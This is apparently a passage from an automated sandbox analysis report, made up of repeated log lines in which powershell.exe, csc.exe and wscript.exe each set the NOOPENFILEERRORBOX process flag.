Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
